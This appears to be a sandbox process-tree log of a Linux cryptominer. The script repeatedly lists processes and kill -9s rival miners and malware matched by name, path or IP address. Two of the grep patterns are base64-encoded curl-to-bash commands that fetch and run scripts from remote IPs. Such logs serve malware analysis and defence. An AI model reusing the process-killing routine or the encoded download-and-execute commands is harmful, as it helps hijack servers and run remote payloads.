/bin/psps aux2⤵
- Reads runtime system information
PID:1014
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1024
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1023
-
-
/bin/grepgrep -v grep2⤵PID:1022
-
-
/bin/psps aux2⤵PID:1021
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1033
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1032
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1031
-
-
/bin/grepgrep -v grep2⤵PID:1030
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1029
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1039
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1037
-
-
/bin/grepgrep -v grep2⤵PID:1036
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1045
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1044
-
-
/bin/grepgrep svc2⤵PID:1043
-
-
/bin/grepgrep -v grep2⤵PID:1042
-
-
/bin/psps aux2⤵PID:1041
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1053
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1052
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1051
-
-
/bin/grepgrep -v grep2⤵PID:1050
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1049
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1059
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1058
-
-
/bin/grepgrep zXcDajSs2⤵PID:1057
-
-
/bin/grepgrep -v grep2⤵PID:1056
-
-
/bin/psps aux2⤵PID:1055
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1064
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1063
-
-
/bin/grepgrep 3lmigMo2⤵PID:1062
-
-
/bin/grepgrep -v grep2⤵PID:1061
-
-
/bin/psps aux2⤵PID:1060
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1069
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1068
-
-
/bin/grepgrep AkMK4A22⤵PID:1067
-
-
/bin/grepgrep -v grep2⤵PID:1066
-
-
/bin/psps aux2⤵PID:1065
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1073
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1071
-
-
/bin/grepgrep -v grep2⤵PID:1072
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1074
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1075
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1079
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1080
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1078
-
-
/bin/grepgrep -v grep2⤵PID:1077
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1076
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1084
-
-
/bin/grepgrep http_0xCC0302⤵PID:1083
-
-
/bin/grepgrep -v grep2⤵PID:1082
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1089
-
-
/bin/grepgrep http_0xCC0312⤵PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1087
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1095
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1094
-
-
/bin/grepgrep http_0xCC0322⤵PID:1093
-
-
/bin/grepgrep -v grep2⤵PID:1092
-
-
/bin/psps aux2⤵PID:1091
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1103
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1102
-
-
/bin/grepgrep http_0xCC0332⤵PID:1101
-
-
/bin/grepgrep -v grep2⤵PID:1100
-
-
/bin/psps aux2⤵PID:1099
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1108
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1107
-
-
/bin/grepgrep C4iLM4L2⤵PID:1106
-
-
/bin/grepgrep -v grep2⤵PID:1105
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1104
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1113
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1112
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1110
-
-
/bin/psps aux2⤵PID:1109
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1117
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1116
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/bin/psps aux2⤵PID:1114
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1122
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1121
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1120
-
-
/bin/grepgrep -v grep2⤵PID:1119
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1118
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1127
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1126
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1125
-
-
/bin/grepgrep -v grep2⤵PID:1124
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1123
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1132
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1131
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1130
-
-
/bin/grepgrep -v grep2⤵PID:1129
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1128
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1137
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1136
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1135
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/bin/psps aux2⤵PID:1133
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1142
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1141
-
-
/bin/grepgrep nqscheduler2⤵PID:1140
-
-
/bin/grepgrep -v grep2⤵PID:1139
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1138
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1147
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1146
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1145
-
-
/bin/grepgrep -v grep2⤵PID:1144
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1143
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1152
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1153
-
-
/bin/grepgrep "]"2⤵PID:1151
-
-
/bin/grepgrep -v aux2⤵PID:1150
-
-
/bin/grepgrep -v grep2⤵PID:1149
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1148
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1158
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1157
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1156
-
-
/bin/grepgrep -v grep2⤵PID:1155
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1163
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1162
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1161
-
-
/bin/grepgrep -v grep2⤵PID:1160
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1159
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1167
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1166
-
-
/bin/grepgrep -v grep2⤵PID:1165
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1164
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1175
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1174
-
-
/bin/grepgrep -v _2⤵PID:1173
-
-
/bin/grepgrep -v -2⤵PID:1172
-
-
/bin/grepgrep -v /2⤵PID:1171
-
-
/bin/grepgrep -v grep2⤵PID:1170
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1169
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1180
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1179
-
-
/bin/grepgrep -v grep2⤵PID:1177
-
-
/bin/grepgrep "\\[^"2⤵PID:1178
-
-
/bin/psps aux2⤵PID:1176
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1185
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1184
-
-
/bin/grepgrep rsync2⤵PID:1183
-
-
/bin/grepgrep -v grep2⤵PID:1182
-
-
/bin/psps aux2⤵PID:1181
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1190
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1189
-
-
/bin/grepgrep watchd0g2⤵PID:1188
-
-
/bin/grepgrep -v grep2⤵PID:1187
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1186
-
-
/bin/grepgrep -v grep2⤵PID:1192
-
-
/bin/psps aux2⤵PID:1191
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1195
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1194
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1193
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1201
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1200
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1199
-
-
/bin/grepgrep -v grep2⤵PID:1198
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1197
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1207
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1206
-
-
/bin/grepgrep /tmp/java2⤵PID:1205
-
-
/bin/grepgrep -v grep2⤵PID:1204
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1203
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1214
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1213
-
-
/bin/grepgrep gitee.com2⤵PID:1212
-
-
/bin/grepgrep -v grep2⤵PID:1211
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1221
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1220
-
-
/bin/grepgrep /tmp/java2⤵PID:1219
-
-
/bin/grepgrep -v grep2⤵PID:1218
-
-
/bin/psps aux2⤵PID:1217
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1227
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1225
-
-
/bin/psps aux2⤵PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1235
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1234
-
-
/bin/grepgrep 89.35.39.782⤵PID:1233
-
-
/bin/grepgrep -v grep2⤵PID:1232
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1231
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1241
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1240
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1239
-
-
/bin/grepgrep -v grep2⤵PID:1238
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1237
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1247
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1246
-
-
/bin/grepgrep kthrotlds2⤵PID:1245
-
-
/bin/grepgrep -v grep2⤵PID:1244
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1243
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1254
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1253
-
-
/bin/grepgrep ksoftirqds2⤵PID:1252
-
-
/bin/grepgrep -v grep2⤵PID:1251
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1250
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1261
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1260
-
-
/bin/grepgrep netdns2⤵PID:1259
-
-
/bin/grepgrep -v grep2⤵PID:1258
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1257
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1267
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1266
-
-
/bin/grepgrep watchdogs2⤵PID:1265
-
-
/bin/grepgrep -v grep2⤵PID:1264
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1263
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1273
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1272
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1271
-
-
/bin/grepgrep -v grep2⤵PID:1270
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1269
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1280
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1279
-
-
/bin/grepgrep kinsing2⤵PID:1278
-
-
/bin/grepgrep -v grep2⤵PID:1277
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1276
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1287
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1286
-
-
/bin/grepgrep redis22⤵PID:1285
-
-
/bin/grepgrep -v grep2⤵PID:1284
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1283
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1288
-
-
/bin/grepgrep " ps"2⤵PID:1291
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1293
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1292
-
-
/bin/grepgrep -v aux2⤵PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1289
-
-
/bin/grepgrep sync_supers2⤵PID:1298
-
-
/bin/grepgrep -v grep2⤵PID:1297
-
-
/bin/psps aux2⤵PID:1296
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1300
-
-
/usr/bin/cutcut -c 9-152⤵PID:1299
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1305
-
-
/usr/bin/cutcut -c 9-152⤵PID:1304
-
-
/bin/grepgrep cpuset2⤵PID:1303
-
-
/bin/grepgrep -v grep2⤵PID:1302
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1301
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1313
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1312
-
-
/bin/grepgrep "x]"2⤵PID:1311
-
-
/bin/grepgrep -v aux2⤵PID:1310
-
-
/bin/grepgrep -v grep2⤵PID:1309
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1308
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1321
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1320
-
-
/bin/grepgrep "sh] <"2⤵PID:1319
-
-
/bin/grepgrep -v aux2⤵PID:1318
-
-
/bin/grepgrep -v grep2⤵PID:1317
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1316
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1328
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1327
-
-
/bin/grepgrep " \\[]"2⤵PID:1326
-
-
/bin/grepgrep -v aux2⤵PID:1325
-
-
/bin/grepgrep -v grep2⤵PID:1324
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1334
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1333
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1332
-
-
/bin/grepgrep -v grep2⤵PID:1331
-
-
/bin/psps aux2⤵PID:1330
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1339
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1338
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1337
-
-
/bin/grepgrep -v grep2⤵PID:1336
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1335
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1344
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1343
-
-
/bin/grepgrep hahwNEdB2⤵PID:1342
-
-
/bin/grepgrep -v grep2⤵PID:1341
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1340
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1349
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1348
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1347
-
-
/bin/grepgrep -v grep2⤵PID:1346
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1345
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1354
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1353
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1352
-
-
/bin/grepgrep -v grep2⤵PID:1351
-
-
/bin/psps aux2⤵PID:1350
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1359
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1358
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1357
-
-
/bin/grepgrep -v grep2⤵PID:1356
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1355
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1364
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1363
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1362
-
-
/bin/grepgrep -v grep2⤵PID:1361
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1360
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1369
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1368
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1367
-
-
/bin/grepgrep -v grep2⤵PID:1366
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1365
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1374
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1373
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1372
-
-
/bin/grepgrep -v grep2⤵PID:1371
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1370
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1379
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1378
-
-
/bin/grepgrep sustse2⤵PID:1377
-
-
/bin/grepgrep -v grep2⤵PID:1376
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1375
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1384
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1383
-
-
/bin/grepgrep sustse32⤵PID:1382
-
-
/bin/grepgrep -v grep2⤵PID:1381
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1380
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1390
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1389
-
-
/bin/grepgrep wget2⤵PID:1388
-
-
/bin/grepgrep mr.sh2⤵PID:1387
-
-
/bin/grepgrep -v grep2⤵PID:1386
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1385
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1396
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1395
-
-
/bin/grepgrep curl2⤵PID:1394
-
-
/bin/grepgrep mr.sh2⤵PID:1393
-
-
/bin/grepgrep -v grep2⤵PID:1392
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1391
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1402
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1401
-
-
/bin/grepgrep wget2⤵PID:1400
-
-
/bin/grepgrep 2mr.sh2⤵PID:1399
-
-
/bin/grepgrep -v grep2⤵PID:1398
-
-
/bin/psps aux2⤵PID:1397
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1408
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1407
-
-
/bin/grepgrep curl2⤵PID:1406
-
-
/bin/grepgrep 2mr.sh2⤵PID:1405
-
-
/bin/grepgrep -v grep2⤵PID:1404
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1403
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1414
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1413
-
-
/bin/grepgrep wget2⤵PID:1412
-
-
/bin/grepgrep cr5.sh2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1410
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1409
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1420
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1419
-
-
/bin/grepgrep curl2⤵PID:1418
-
-
/bin/grepgrep cr5.sh2⤵PID:1417
-
-
/bin/grepgrep -v grep2⤵PID:1416
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1415
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1426
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1425
-
-
/bin/grepgrep wget2⤵PID:1424
-
-
/bin/grepgrep logo9.jpg2⤵PID:1423
-
-
/bin/grepgrep -v grep2⤵PID:1422
-
-
/bin/psps aux2⤵PID:1421
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1432
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1431
-
-
/bin/grepgrep curl2⤵PID:1430
-
-
/bin/grepgrep logo9.jpg2⤵PID:1429
-
-
/bin/grepgrep -v grep2⤵PID:1428
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1427
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1437
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1436
-
-
/bin/grepgrep j2.conf2⤵PID:1435
-
-
/bin/grepgrep -v grep2⤵PID:1434
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1433
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1443
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1442
-
-
/bin/grepgrep wget2⤵PID:1441
-
-
/bin/grepgrep luk-cpu2⤵PID:1440
-
-
/bin/grepgrep -v grep2⤵PID:1439
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1438
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1449
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1448
-
-
/bin/grepgrep curl2⤵PID:1447
-
-
/bin/grepgrep luk-cpu2⤵PID:1446
-
-
/bin/grepgrep -v grep2⤵PID:1445
-
-
/bin/psps aux2⤵PID:1444
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1455
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1454
-
-
/bin/grepgrep wget2⤵PID:1453
-
-
/bin/grepgrep ficov2⤵PID:1452
-
-
/bin/grepgrep -v grep2⤵PID:1451
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1450
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1461
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1460
-
-
/bin/grepgrep curl2⤵PID:1459
-
-
/bin/grepgrep ficov2⤵PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1457
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1456
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1466
-
-
/bin/grepgrep wget2⤵PID:1465
-
-
/bin/grepgrep he.sh2⤵PID:1464
-
-
/bin/grepgrep -v grep2⤵PID:1463
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1462
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1473
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1472
-
-
/bin/grepgrep curl2⤵PID:1471
-
-
/bin/grepgrep he.sh2⤵PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1469
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1468
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1479
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1478
-
-
/bin/grepgrep wget2⤵PID:1477
-
-
/bin/grepgrep miner.sh2⤵PID:1476
-
-
/bin/grepgrep -v grep2⤵PID:1475
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1474
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1485
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1484
-
-
/bin/grepgrep curl2⤵PID:1483
-
-
/bin/grepgrep miner.sh2⤵PID:1482
-
-
/bin/grepgrep -v grep2⤵PID:1481
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1480
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1491
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1490
-
-
/bin/grepgrep wget2⤵PID:1489
-
-
/bin/grepgrep nullcrew2⤵PID:1488
-
-
/bin/grepgrep -v grep2⤵PID:1487
-
-
/bin/psps aux2⤵PID:1486
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1497
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1496
-
-
/bin/grepgrep curl2⤵PID:1495
-
-
/bin/grepgrep nullcrew2⤵PID:1494
-
-
/bin/grepgrep -v grep2⤵PID:1493
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1492
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1502
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1501
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1500
-
-
/bin/grepgrep -v grep2⤵PID:1499
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1498
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1507
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1506
-
-
